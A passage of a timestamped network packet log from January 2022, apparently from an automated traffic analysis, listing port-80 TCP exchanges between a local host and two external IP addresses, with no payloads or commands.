Jan 14, 2022 02:05:16.328028917 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.328066111 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.328104973 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.328116894 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.328144073 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.328160048 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.328181982 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.328221083 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.328258038 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.328274012 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.328298092 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.328310966 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.328336954 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.328375101 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.328428030 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.352015018 CET	80	49881	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:16.352144003 CET	49881	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:16.388467073 CET	49881	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:16.388514042 CET	49881	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:16.399193048 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.399288893 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.399291039 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.399341106 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.399441004 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.399507046 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.399523020 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.399560928 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.399579048 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.399647951 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.399698019 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.399763107 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.399768114 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.399823904 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.399876118 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.399915934 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.399981976 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.400042057 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.400048971 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.400088072 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.400104046 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.400126934 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.400167942 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.400203943 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.400223970 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.400243044 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.400254011 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.400284052 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.400321007 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.400360107 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.400372982 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.400397062 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.400423050 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.400435925 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.400475025 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.400480986 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.400511026 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.400549889 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.400588036 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.400603056 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.400629997 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.400656939 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.400667906 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.400705099 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.400743961 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.400757074 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.400784969 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.400804996 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.400820971 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.400860071 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.400897980 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.400909901 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.400935888 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.400945902 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.400974989 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.401011944 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.401076078 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.401094913 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.401114941 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.401137114 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.401151896 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.401190996 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.401230097 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.401243925 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.401268005 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.401283026 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.401305914 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.401344061 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.401381016 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.401392937 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.401420116 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.401432991 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.439306974 CET	80	49881	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:16.446379900 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.465060949 CET	80	49881	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:16.465230942 CET	49881	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:16.471993923 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.472028971 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.472064018 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.472131014 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.472131968 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.472187042 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.472239971 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.472260952 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.472300053 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.472330093 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.472373962 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.472399950 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.472443104 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.472486019 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.472498894 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.472513914 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.472532034 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.472567081 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.472600937 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.472621918 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.472682953 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.472687006 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.472712040 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.472732067 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.472752094 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.472767115 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.472781897 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.472796917 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.472811937 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.472826004 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.472847939 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.472868919 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.472891092 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.472912073 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.472922087 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.472932100 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.472951889 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.472973108 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.472992897 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.472997904 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.473015070 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.473026037 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.473035097 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.473083973 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.473114014 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.473143101 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.473166943 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.473172903 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.473202944 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.473232985 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.473236084 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.473263025 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.473294020 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.473297119 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.473318100 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.473339081 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.473352909 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.473359108 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.473380089 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.473401070 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.473402977 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.473421097 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.473433971 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.473476887 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.485960960 CET	49881	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:16.536737919 CET	80	49881	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:16.572325945 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.572375059 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.572895050 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.573448896 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.573719025 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.573757887 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.573781013 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.573788881 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.573817015 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.573841095 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.573846102 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.573884964 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.573895931 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.573934078 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.573971033 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.574007034 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.574029922 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.574048996 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.574069977 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.574073076 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.574100018 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.574125051 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.574143887 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.574151039 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.574177027 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.574177980 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.574203014 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.574220896 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.574229956 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.574255943 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.574275017 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.574280977 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.574306011 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.574333906 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.574353933 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.574372053 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.574385881 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.574410915 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.574446917 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.574484110 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.574500084 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.574522018 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.574532032 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.574557066 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.574584007 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.574609041 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.574632883 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.574635029 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.574661016 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.574670076 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.574686050 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.574712038 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.574714899 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.574737072 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.574760914 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.574784040 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.574785948 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.574814081 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.574827909 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.574851036 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.574862003 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.574889898 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.574924946 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.574965000 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.574980021 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.575002909 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.575006008 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.575058937 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.575094938 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.575119972 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.575148106 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.575176954 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.607793093 CET	49882	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:16.643567085 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.643589973 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.643656015 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.645627975 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.645648956 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.645659924 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.645677090 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.645709038 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.645710945 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.645733118 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.645739079 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.645761967 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.645785093 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.645800114 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.645811081 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.645831108 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.645834923 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.645874977 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.645934105 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.645992041 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.646028042 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.646049976 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.646075964 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.646086931 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.646091938 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.646110058 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.646135092 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.646147013 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.646159887 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.646178007 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.646194935 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.646203041 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.646218061 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.646235943 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.646251917 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.646269083 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.646285057 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.646313906 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.646342993 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.646346092 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.646373987 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.646377087 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.646395922 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.646420002 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.646420002 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.646467924 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.646477938 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.646500111 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.646517992 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.646533966 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.646550894 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.646568060 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.646568060 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.646584034 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.646603107 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.646605968 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.646619081 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.646635056 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.646651030 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.646651983 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.646668911 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.646677971 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.646686077 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.646703959 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.646720886 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.646728992 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.646738052 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.646768093 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.646789074 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.659919977 CET	80	49882	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:16.660043955 CET	49882	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:16.677206039 CET	49882	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:16.677287102 CET	49882	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:16.714315891 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.714349031 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.714426041 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.714432001 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.714493990 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.714541912 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.714581013 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.714592934 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.714623928 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.714648962 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.714698076 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.714721918 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.714745998 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.714782000 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.714808941 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.714809895 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.714854956 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.714903116 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.714916945 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.714951992 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.714975119 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.715007067 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.715043068 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.715070963 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.715095997 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.715116024 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.715146065 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.715146065 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.715171099 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.715214014 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.715261936 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:16.715274096 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:16.715311050 CET	80	49879	141.8.194.74	192.168.2.3
